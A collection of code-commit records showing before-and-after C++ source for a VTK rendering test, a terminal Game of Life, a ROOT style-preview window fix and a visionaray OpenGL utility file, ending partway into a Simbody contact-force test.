unstructured grid data source to test FrustumExtractor with.\n MY_CREATE_NEW(vtkDataSetReader, reader);\n char *cfname=vtkTestUtilities::ExpandDataFileName(argc, argv, \"Data\/SampleStructGrid.vtk\");\n reader->SetFileName(cfname);\n delete [] cfname;\n \n MY_CREATE_NEW(vtkDataSetMapper, map1);\n map1->SetInput(reader->GetOutput());\n\n MY_CREATE_NEW(vtkActor, act1);\n act1->SetMapper(map1);\n act1->PickableOff(); \/\/prevents the visible cell selector from trying\n renderer->AddActor(act1);\n\n \/\/frustum extractor works on geometry and doesn't care about pickability\n MY_CREATE_NEW(vtkExtractSelectedFrustum, extractor);\n extractor->SetInputConnection(reader->GetOutputPort());\n extractor->PreserveTopologyOff();\n extractor->SetFrustum(areaPicker->GetFrustum());\n\n MY_CREATE_NEW(vtkDataSetMapper, eMap);\n eMap->SetInput(vtkDataSet::SafeDownCast(extractor->GetOutput()));\n\n MY_CREATE_NEW(vtkActor, eAct);\n eAct->SetPosition(2,0,0);\n eAct->SetMapper(eMap);\n eAct->PickableOff();\n renderer->AddActor(eAct);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n emptyPD = vtkSmartPointer<vtkPolyData>::New();\n\n int res = 20;\n SS1 = vtkSmartPointer<vtkSphereSource>::New();\n SS1->SetThetaResolution(res);\n SS1->SetPhiResolution(res);\n SS1->SetRadius(0.5);\n SS1->SetCenter(0.5,-1.5,0);\n MY_CREATE_NEW(vtkPolyDataMapper, map2);\n map2->SetInput(SS1->GetOutput());\n \n MY_CREATE_NEW(vtkActor, act2);\n act2->SetMapper(map2);\n act2->PickableOn(); \/\/lets the HardwareSelector select in it\n renderer->AddActor(act2);\n\n sMap = vtkSmartPointer<vtkDataSetMapper>::New();\n sMap->SetInput(SS1->GetOutput());\n\n MY_CREATE_NEW(vtkActor, sAct);\n sAct->SetMapper(sMap);\n sAct->SetPosition(2,0,0);\n sAct->PickableOff();\n renderer->AddActor(sAct);\n\n \/\/pass pick events to the HardwareSelector\n MY_CREATE_NEW(vtkCallbackCommand, cbc);\n cbc->SetCallback(EndPick);\n cbc->SetClientData(renderer);\n rwi->AddObserver(vtkCommand::EndPickEvent,cbc);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/run the test\n\n renWin->Render();\n int rgba[4];\n renWin->GetColorBufferSizes(rgba);\n if (rgba[0] < 8 || rgba[1] < 8 || rgba[2] < 8)\n {\n cout <<\"Color buffer depth must be atleast 8 bit. Currently: \" \n << rgba[0] << \", \" << rgba[1] << \", \" << rgba[2] << endl;\n return 0;\n }\n\n areaPicker->AreaPick(51,78,82,273,renderer);\n EndPick(NULL, 0, NULL, NULL);\n renWin->Render();\n\n int retVal = vtkRegressionTestImage( renWin );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n \/\/ Cleanup\n return !retVal;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <stdlib.h>\n#include <unistd.h>\n\n#define HEIGHT 50\n#define WIDTH 50\n#define UPDATELENGTH 150000\n\nint board[HEIGHT][WIDTH];\n\nint weightedarray[10] = {0,0,0,0,0,0,0,0,1};\n\nvoid genBoard(int (board)[HEIGHT][WIDTH]) {\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t board[x][y] = weightedarray[rand() % 10];\n\t}\n }\n}\n\nvoid copyBoard(int (newB)[HEIGHT][WIDTH], int (oldB)[HEIGHT][WIDTH]) {\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t newB[x][y] = oldB[x][y];\n\t}\n }\n}\n\nvoid updateBoard(int (board)[HEIGHT][WIDTH]) {\n int next_board[HEIGHT][WIDTH];\n copyBoard(next_board, board);\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\n\t if ((x == 0 || x == HEIGHT) ||\n\t\t(y == 0 || y == WIDTH)) {\n\t\tcontinue;\n\t }\n\n\t int aliveN = 0;\n\t int deadN = 0;\n\t if (!board[x-1][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x-1][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x-1][y]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t \/*\n\t Rules\n\t =====\n\n\t 1. Any live cell with fewer than two live neighbours\n\t dies, as if caused by under-population.\n\n\t 2. Any live cell with two or three live neighbours lives\n\t on to the next generation.\n\n\t 3. Any live cell with more than three live neighbours\n\t dies, as if by overcrowding.\n\n\t 4. Any dead cell with exactly three live neighbours\n\t becomes a live cell, as if by reproduction.\n\t *\/\n\t if ((board[x][y] && aliveN < 2)) {\n\t\tnext_board[x][y] = 0;\n\t\tcontinue;\n\t }\n\t if ((board[x][y]) && ((aliveN == 2) || (aliveN == 3)))\n\t\tcontinue;\n\t if ((board[x][y]) && (aliveN > 3)) {\n\t\tnext_board[x][y] = 0;\n\t\tcontinue;\n\t }\n\t if ((!board[x][y]) && (aliveN == 3)) {\n\t\tnext_board[x][y] = 1;\n\t\tcontinue;\n\t }\n\t}\n }\n copyBoard(board, next_board);\n}\n\nvoid drawBoard(int (board)[HEIGHT][WIDTH]) {\n std::cout << \"\\033[2J\\033[1;1H\";\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t if (board[x][y] == 0) {\n\t\tstd::cout << \".\";\n\t } else {\n\t\tstd::cout << \"*\";\n\t }\n\t}\n\tstd::cout << std::endl;\n }\n}\n \n\nint main() {\n genBoard(board);\n while (1) {\n\tupdateBoard(board);\n\tdrawBoard(board);\n\tusleep(UPDATELENGTH);\n }\n return 0;\n}\n<commit_msg>Changed gol weighting<commit_after>#include <iostream>\n#include <stdlib.h>\n#include <unistd.h>\n\n#define HEIGHT 50\n#define WIDTH 50\n#define UPDATELENGTH 150000\n\nint board[HEIGHT][WIDTH];\n\nint weightedarray[10] = {0,0,0,0,0,0,0,1,1};\n\nvoid genBoard(int (board)[HEIGHT][WIDTH]) {\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t board[x][y] = weightedarray[rand() % 10];\n\t}\n }\n}\n\nvoid copyBoard(int (newB)[HEIGHT][WIDTH], int (oldB)[HEIGHT][WIDTH]) {\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t newB[x][y] = oldB[x][y];\n\t}\n }\n}\n\nvoid updateBoard(int (board)[HEIGHT][WIDTH]) {\n int next_board[HEIGHT][WIDTH];\n copyBoard(next_board, board);\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\n\t if ((x == 0 || x == HEIGHT) ||\n\t\t(y == 0 || y == WIDTH)) {\n\t\tcontinue;\n\t }\n\n\t int aliveN = 0;\n\t int deadN = 0;\n\t if (!board[x-1][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y+1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x+1][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x-1][y-1]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t if (!board[x-1][y]) {\n\t\tdeadN++;\n\t } else {\n\t\taliveN++;\n\t }\n\t \/*\n\t Rules\n\t =====\n\n\t 1. Any live cell with fewer than two live neighbours\n\t dies, as if caused by under-population.\n\n\t 2. Any live cell with two or three live neighbours lives\n\t on to the next generation.\n\n\t 3. Any live cell with more than three live neighbours\n\t dies, as if by overcrowding.\n\n\t 4. Any dead cell with exactly three live neighbours\n\t becomes a live cell, as if by reproduction.\n\t *\/\n\t if ((board[x][y] && aliveN < 2)) {\n\t\tnext_board[x][y] = 0;\n\t\tcontinue;\n\t }\n\t if ((board[x][y]) && ((aliveN == 2) || (aliveN == 3)))\n\t\tcontinue;\n\t if ((board[x][y]) && (aliveN > 3)) {\n\t\tnext_board[x][y] = 0;\n\t\tcontinue;\n\t }\n\t if ((!board[x][y]) && (aliveN == 3)) {\n\t\tnext_board[x][y] = 1;\n\t\tcontinue;\n\t }\n\t}\n }\n copyBoard(board, next_board);\n}\n\nvoid drawBoard(int (board)[HEIGHT][WIDTH]) {\n std::cout << \"\\033[2J\\033[1;1H\";\n for (int x = 0; x < HEIGHT; ++x) {\n\tfor (int y = 0; y < WIDTH; ++y) {\n\t if (board[x][y] == 0) {\n\t\tstd::cout << \".\";\n\t } else {\n\t\tstd::cout << \"*\";\n\t }\n\t}\n\tstd::cout << std::endl;\n }\n}\n \n\nint main() {\n genBoard(board);\n while (1) {\n\tupdateBoard(board);\n\tdrawBoard(board);\n\tusleep(UPDATELENGTH);\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/ged:$Name: $:$Id: TStylePreview.cxx,v 1.0 2005\/09\/08\n\/\/ Author: Denis Favre-Miville 08\/09\/05\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TStylePreview \/\/\n\/\/ \/\/\n\/\/ This class may be used to preview the result of applying a style \/\/\n\/\/ to a canvas. The result is shown on a clone of the object, \/\/\n\/\/ in a different shown over the initial canvas. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TStylePreview.h\"\n#include \"TStyleManager.h\"\n\n#include <TCanvas.h>\n#include <TRootEmbeddedCanvas.h>\n#include <TStyle.h>\n\nClassImp(TStylePreview)\n\n\/\/______________________________________________________________________________\nTStylePreview::TStylePreview(const TGWindow *p, TStyle *style,\n TVirtualPad *currentPad)\n : TGTransientFrame(0, p)\n{\n \/\/ Constructor. Create a new window and draw a clone of\n \/\/ currentPad->GetCanvas() in it, using the style 'style'.\n \/\/ Thanks to that method, one can have a preview of any\n \/\/ style with any object.\n\n fPad = 0;\n\n \/\/ Create the main window.\n SetWindowName(\"Style Manager's Preview\");\n SetCleanup(kNoCleanup);\n DontCallClose();\n\n \/\/ Create the trash lists to have an effective deletion of every object.\n fTrashListLayout = new TList();\n\n \/\/ Create the layouts and add them to the layout trash list.\n TGLayoutHints *layoutXY = new TGLayoutHints(kLHintsExpandX | kLHintsExpandY);\n fTrashListLayout->Add(layoutXY);\n\n \/\/ Create a canvas for the preview.\n fEcan = new TRootEmbeddedCanvas(\"TSMPreviewCanvas\", this, 10, 10);\n AddFrame(fEcan, layoutXY);\n\n \/\/ Draw the preview.\n Update(style, currentPad);\n\n \/\/ Map main frame.\n MapTheWindow();\n\n \/\/ No modifications allowed in the preview.\n fEcan->GetCanvas()->SetEditable(kFALSE);\n fEcan->GetCanvas()->SetBit(kNoContextMenu);\n}\n\n\/\/______________________________________________________________________________\nTStylePreview::~TStylePreview()\n{\n \/\/ Destructor.\n\n \/\/ Delete all the widgets created in this class.\n delete fEcan;\n\n \/\/ Delete all the layouts.\n TObject *obj1;\n TObject *obj2;\n obj1 = fTrashListLayout->First();\n while (obj1) {\n obj2 = fTrashListLayout->After(obj1);\n fTrashListLayout->Remove(obj1);\n delete obj1;\n obj1 = obj2;\n }\n delete fTrashListLayout;\n}\n\n\/\/______________________________________________________________________________\nvoid TStylePreview::Update(TStyle *style, TVirtualPad *pad)\n{\n \/\/ Update the preview, with possibly another style and another object\n \/\/ than previously.\n\n TCanvas *c;\n if (pad != fPad) {\n delete fEcan->GetCanvas();\n fEcan->AdoptCanvas(new TCanvas(\"TSMPreviewCanvas\", 10, 10,\n fEcan->GetCanvasWindowId()));\n c = fEcan->GetCanvas();\n gROOT->SetSelectedPad(c);\n pad->GetCanvas()->DrawClonePad();\n gROOT->SetSelectedPad(pad);\n fPad = pad;\n }\n\n \/\/ Apply the 'style' to the clone of 'pad'.\n c = fEcan->GetCanvas();\n TStyle *tmpStyle = gStyle;\n gStyle = style;\n c->UseCurrentStyle();\n gStyle = tmpStyle;\n c->Modified();\n c->Update();\n}\n\n\/\/______________________________________________________________________________\nvoid TStylePreview::MapTheWindow()\n{\n \/\/ Initialize the layout algorithm.\n \n MapSubwindows();\n TCanvas *c = fPad->GetCanvas();\n UInt_t w = c->GetWindowWidth();\n UInt_t h = c->GetWindowHeight() - 24;\n UInt_t x = (UInt_t) c->GetWindowTopX() + 60;\n UInt_t y = (UInt_t) c->GetWindowTopY() + 100;\n\n MoveResize(x, y, w, h);\n SetWMPosition(x, y);\n\n MapWindow();\n}\n\n\/\/______________________________________________________________________________\nTCanvas *TStylePreview::GetMainCanvas()\n{\n \/\/ return pointer to the selected canvas.\n \n return fEcan->GetCanvas();\n}\n<commit_msg>From Ilka: - fix of preview window wrong width and height when the user interface around the canvas window were activated (editor, toolbar, status bar).<commit_after>\/\/ @(#)root\/ged:$Name: $:$Id: TStylePreview.cxx,v 1.0 2005\/09\/08\n\/\/ Author: Denis Favre-Miville 08\/09\/05\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TStylePreview \/\/\n\/\/ \/\/\n\/\/ This class may be used to preview the result of applying a style \/\/\n\/\/ to a canvas. The result is shown on a clone of the object, \/\/\n\/\/ in a different shown over the initial canvas. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TStylePreview.h\"\n#include \"TStyleManager.h\"\n\n#include <TCanvas.h>\n#include <TRootEmbeddedCanvas.h>\n#include <TStyle.h>\n\nClassImp(TStylePreview)\n\n\/\/______________________________________________________________________________\nTStylePreview::TStylePreview(const TGWindow *p, TStyle *style,\n TVirtualPad *currentPad)\n : TGTransientFrame(0, p)\n{\n \/\/ Constructor. Create a new window and draw a clone of\n \/\/ currentPad->GetCanvas() in it, using the style 'style'.\n \/\/ Thanks to that method, one can have a preview of any\n \/\/ style with any object.\n\n fPad = 0;\n\n \/\/ Create the main window.\n SetWindowName(\"Style Manager's Preview\");\n SetCleanup(kNoCleanup);\n DontCallClose();\n\n \/\/ Create the trash lists to have an effective deletion of every object.\n fTrashListLayout = new TList();\n\n \/\/ Create the layouts and add them to the layout trash list.\n TGLayoutHints *layoutXY = new TGLayoutHints(kLHintsExpandX | kLHintsExpandY);\n fTrashListLayout->Add(layoutXY);\n\n \/\/ Create a canvas for the preview.\n fEcan = new TRootEmbeddedCanvas(\"TSMPreviewCanvas\", this, 10, 10);\n AddFrame(fEcan, layoutXY);\n\n \/\/ Draw the preview.\n Update(style, currentPad);\n\n \/\/ Map main frame.\n MapTheWindow();\n\n \/\/ No modifications allowed in the preview.\n fEcan->GetCanvas()->SetEditable(kFALSE);\n fEcan->GetCanvas()->SetBit(kNoContextMenu);\n}\n\n\/\/______________________________________________________________________________\nTStylePreview::~TStylePreview()\n{\n \/\/ Destructor.\n\n \/\/ Delete all the widgets created in this class.\n delete fEcan;\n\n \/\/ Delete all the layouts.\n TObject *obj1;\n TObject *obj2;\n obj1 = fTrashListLayout->First();\n while (obj1) {\n obj2 = fTrashListLayout->After(obj1);\n fTrashListLayout->Remove(obj1);\n delete obj1;\n obj1 = obj2;\n }\n delete fTrashListLayout;\n}\n\n\/\/______________________________________________________________________________\nvoid TStylePreview::Update(TStyle *style, TVirtualPad *pad)\n{\n \/\/ Update the preview with possibly another style and \n \/\/ another object than previously.\n\n TCanvas *c;\n if (pad != fPad) {\n delete fEcan->GetCanvas();\n fEcan->AdoptCanvas(new TCanvas(\"TSMPreviewCanvas\", 10, 10,\n fEcan->GetCanvasWindowId()));\n c = fEcan->GetCanvas();\n gROOT->SetSelectedPad(c);\n pad->GetCanvas()->DrawClonePad();\n gROOT->SetSelectedPad(pad);\n fPad = pad;\n }\n\n \/\/ Apply the 'style' to the clone of 'pad'.\n c = fEcan->GetCanvas();\n TStyle *tmpStyle = gStyle;\n gStyle = style;\n c->UseCurrentStyle();\n gStyle = tmpStyle;\n c->Modified();\n c->Update();\n}\n\n\/\/______________________________________________________________________________\nvoid TStylePreview::MapTheWindow()\n{\n \/\/ Initialize the layout algorithm.\n \n MapSubwindows();\n TCanvas *c = fPad->GetCanvas();\n UInt_t w = c->GetWw() + 4; \/\/4 pixels of borders\n UInt_t h = c->GetWh() + 4; \/\/4 pixels of borders\n UInt_t x = (UInt_t) c->GetWindowTopX() + 60;\n UInt_t y = (UInt_t) c->GetWindowTopY() + 100;\n\n MoveResize(x, y, w, h);\n SetWMPosition(x, y);\n\n MapWindow();\n}\n\n\/\/______________________________________________________________________________\nTCanvas *TStylePreview::GetMainCanvas()\n{\n \/\/ Return pointer to the selected canvas.\n \n return fEcan->GetCanvas();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#include <visionaray\/gl\/util.h>\n#include <visionaray\/math\/math.h>\n\n#include \"..\/util.h\"\n\n\nnamespace gl = visionaray::gl;\n\n\nnamespace visionaray\n{\n\nstd::string gl::last_error()\n{\n GLenum err = glGetError();\n if (err != GL_NO_ERROR)\n {\n#if VSNRAY_HAVE_GLEW\n return std::string(reinterpret_cast<char const*>(glewGetErrorString(err)));\n#endif\n }\n return \"\";\n}\n\nvoid gl::alloc_texture(pixel_format_info info, GLsizei w, GLsizei h)\n{\n if (glTexStorage2D)\n {\n glTexStorage2D(GL_TEXTURE_2D, 1, info.internal_format, w, h);\n }\n else\n {\n glTexImage2D(GL_TEXTURE_2D, 0, info.internal_format, w, h, 0, info.format, info.type, 0);\n }\n}\n\nvoid gl::update_texture(\n pixel_format_info info,\n GLsizei x,\n GLsizei y,\n GLsizei w,\n GLsizei h,\n GLvoid const* pixels\n )\n{\n glTexSubImage2D(\n GL_TEXTURE_2D,\n 0, \/\/ TODO\n x,\n y,\n w,\n h,\n info.format,\n info.type,\n pixels\n );\n}\n\nvoid gl::update_texture(\n pixel_format_info info,\n GLsizei w,\n GLsizei h,\n GLvoid const* pixels\n )\n{\n glTexSubImage2D(\n GL_TEXTURE_2D,\n 0, \/\/ TODO\n 0,\n 0,\n w,\n h,\n info.format,\n info.type,\n pixels\n );\n}\n\nvoid gl::draw_full_screen_quad()\n{\n glPushAttrib(GL_TEXTURE_BIT | GL_TRANSFORM_BIT);\n\n glMatrixMode(GL_PROJECTION);\n glPushMatrix();\n glLoadIdentity();\n glMatrixMode(GL_MODELVIEW);\n glPushMatrix();\n glLoadIdentity();\n\n glActiveTexture(GL_TEXTURE0);\n\n glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE);\n\n glBegin(GL_QUADS);\n glTexCoord2f(0.0f, 0.0f); glVertex2f(-1.0f, -1.0f);\n glTexCoord2f(1.0f, 0.0f); glVertex2f( 1.0f, -1.0f);\n glTexCoord2f(1.0f, 1.0f); glVertex2f( 1.0f, 1.0f);\n glTexCoord2f(0.0f, 1.0f); glVertex2f(-1.0f, 1.0f);\n glEnd();\n\n glMatrixMode(GL_PROJECTION);\n glPopMatrix();\n glMatrixMode(GL_MODELVIEW);\n glPopMatrix();\n\n glPopAttrib();\n}\n\nvoid gl::blend_texture(GLuint texture, GLenum sfactor, GLenum dfactor)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n\n glActiveTexture(GL_TEXTURE0);\n\n glEnable(GL_BLEND);\n glBlendFunc(sfactor, dfactor);\n\n glEnable(GL_TEXTURE_2D);\n glBindTexture(GL_TEXTURE_2D, texture);\n\n glDepthMask(GL_FALSE);\n glDisable(GL_LIGHTING);\n\n draw_full_screen_quad();\n\n glPopAttrib();\n}\n\n#if defined(VSNRAY_OPENGL_LEGACY)\nvoid gl::blend_pixels(GLsizei w, GLsizei h, GLenum format, GLenum type, GLvoid const* pixels, GLenum sfactor, GLenum dfactor)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n\n recti vp = gl::viewport();\n glWindowPos2i(vp[0], vp[1]);\n\n GLfloat scalex = vp[2] \/ static_cast<GLfloat>(w);\n GLfloat scaley = vp[3] \/ static_cast<GLfloat>(h);\n\n glPixelZoom(scalex, scaley);\n\n glEnable(GL_BLEND);\n glBlendFunc(sfactor, dfactor);\n\n glDrawPixels(w, h, format, type, pixels);\n\n glPopAttrib();\n}\n#endif\n\nrecti gl::viewport()\n{\n GLint vp[4];\n glGetIntegerv(GL_VIEWPORT, &vp[0]);\n return recti(vp[0], vp[1], vp[2], vp[3]);\n}\n\n} \/\/ visionaray\n<commit_msg>More OpenGLES 2.0 compatibility<commit_after>\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#include <visionaray\/gl\/util.h>\n#include <visionaray\/math\/math.h>\n\n#include \"..\/util.h\"\n\n\nnamespace gl = visionaray::gl;\n\n\nnamespace visionaray\n{\n\nstd::string gl::last_error()\n{\n GLenum err = glGetError();\n if (err != GL_NO_ERROR)\n {\n#if VSNRAY_HAVE_GLEW\n return std::string(reinterpret_cast<char const*>(glewGetErrorString(err)));\n#endif\n }\n return \"\";\n}\n\nvoid gl::alloc_texture(pixel_format_info info, GLsizei w, GLsizei h)\n{\n#if defined(GL_VERSION_4_2) && GL_VERSION_4_2 || defined(GL_ES_VERSION_3_0) && GL_ES_VERSION_3_0\n if (glTexStorage2D)\n {\n glTexStorage2D(GL_TEXTURE_2D, 1, info.internal_format, w, h);\n }\n else\n#endif\n {\n glTexImage2D(GL_TEXTURE_2D, 0, info.internal_format, w, h, 0, info.format, info.type, 0);\n }\n}\n\nvoid gl::update_texture(\n pixel_format_info info,\n GLsizei x,\n GLsizei y,\n GLsizei w,\n GLsizei h,\n GLvoid const* pixels\n )\n{\n glTexSubImage2D(\n GL_TEXTURE_2D,\n 0, \/\/ TODO\n x,\n y,\n w,\n h,\n info.format,\n info.type,\n pixels\n );\n}\n\nvoid gl::update_texture(\n pixel_format_info info,\n GLsizei w,\n GLsizei h,\n GLvoid const* pixels\n )\n{\n glTexSubImage2D(\n GL_TEXTURE_2D,\n 0, \/\/ TODO\n 0,\n 0,\n w,\n h,\n info.format,\n info.type,\n pixels\n );\n}\n\nvoid gl::draw_full_screen_quad()\n{\n glPushAttrib(GL_TEXTURE_BIT | GL_TRANSFORM_BIT);\n\n glMatrixMode(GL_PROJECTION);\n glPushMatrix();\n glLoadIdentity();\n glMatrixMode(GL_MODELVIEW);\n glPushMatrix();\n glLoadIdentity();\n\n glActiveTexture(GL_TEXTURE0);\n\n glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE);\n\n glBegin(GL_QUADS);\n glTexCoord2f(0.0f, 0.0f); glVertex2f(-1.0f, -1.0f);\n glTexCoord2f(1.0f, 0.0f); glVertex2f( 1.0f, -1.0f);\n glTexCoord2f(1.0f, 1.0f); glVertex2f( 1.0f, 1.0f);\n glTexCoord2f(0.0f, 1.0f); glVertex2f(-1.0f, 1.0f);\n glEnd();\n\n glMatrixMode(GL_PROJECTION);\n glPopMatrix();\n glMatrixMode(GL_MODELVIEW);\n glPopMatrix();\n\n glPopAttrib();\n}\n\nvoid gl::blend_texture(GLuint texture, GLenum sfactor, GLenum dfactor)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n\n glActiveTexture(GL_TEXTURE0);\n\n glEnable(GL_BLEND);\n glBlendFunc(sfactor, dfactor);\n\n glEnable(GL_TEXTURE_2D);\n glBindTexture(GL_TEXTURE_2D, texture);\n\n glDepthMask(GL_FALSE);\n glDisable(GL_LIGHTING);\n\n draw_full_screen_quad();\n\n glPopAttrib();\n}\n\n#if defined(VSNRAY_OPENGL_LEGACY)\nvoid gl::blend_pixels(GLsizei w, GLsizei h, GLenum format, GLenum type, GLvoid const* pixels, GLenum sfactor, GLenum dfactor)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n\n recti vp = gl::viewport();\n glWindowPos2i(vp[0], vp[1]);\n\n GLfloat scalex = vp[2] \/ static_cast<GLfloat>(w);\n GLfloat scaley = vp[3] \/ static_cast<GLfloat>(h);\n\n glPixelZoom(scalex, scaley);\n\n glEnable(GL_BLEND);\n glBlendFunc(sfactor, dfactor);\n\n glDrawPixels(w, h, format, type, pixels);\n\n glPopAttrib();\n}\n#endif\n\nrecti gl::viewport()\n{\n GLint vp[4];\n glGetIntegerv(GL_VIEWPORT, &vp[0]);\n return recti(vp[0], vp[1], vp[2], vp[3]);\n}\n\n} \/\/ visionaray\n<|endoftext|>"} {"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n * Simbody(tm) *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org\/home\/simbody. *\n * *\n * Portions copyright (c) 2008-12 Stanford University and the Authors. *\n * Authors: Peter Eastman *\n * Contributors: *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"SimTKsimbody.h\"\n\nusing namespace SimTK;\nusing namespace std;\n\nconst Real TOL = 1e-5;\n\n#define ASSERT(cond) {SimTK_ASSERT_ALWAYS(cond, \"Assertion failed\");}\n\ntemplate <class T>\nvoid assertEqual(T val1, T val2) {\n ASSERT(abs(val1-val2) < TOL || abs(val1-val2)\/max(abs(val1), abs(val2)) < TOL);\n}\n\ntemplate <int N>\nvoid assertEqual(Vec<N> val1, Vec<N> val2) {\n for (int i = 0; i < N; ++i)\n assertEqual(val1[i], val2[i]);\n}\n\nvoid testForces() {\n MultibodySystem system;\n SimbodyMatterSubsystem matter(system);\n GeneralContactSubsystem contacts(system);\n GeneralForceSubsystem forces(system);\n\n \/\/ Create a triangle mesh in the shape of a pyramid, with the\n \/\/ square base having area 1 (split into two triangles).\n \n vector<Vec3> vertices;\n vertices.push_back(Vec3(0, 0, 0));\n vertices.push_back(Vec3(1, 0, 0));\n vertices.push_back(Vec3(1, 0, 1));\n vertices.push_back(Vec3(0, 0, 1));\n vertices.push_back(Vec3(0.5, 1, 0.5));\n vector<int> faceIndices;\n int faces[6][3] = {{0, 1, 2}, {0, 2, 3}, {1, 0, 4}, \n {2, 1, 4}, {3, 2, 4}, {0, 3, 4}};\n for (int i = 0; i < 6; i++)\n for (int j = 0; j < 3; j++)\n faceIndices.push_back(faces[i][j]);\n\n \/\/ Create the mobilized bodies and configure the contact model.\n \n Body::Rigid body(MassProperties(1.0, Vec3(0), Inertia(1)));\n ContactSetIndex setIndex = contacts.createContactSet();\n 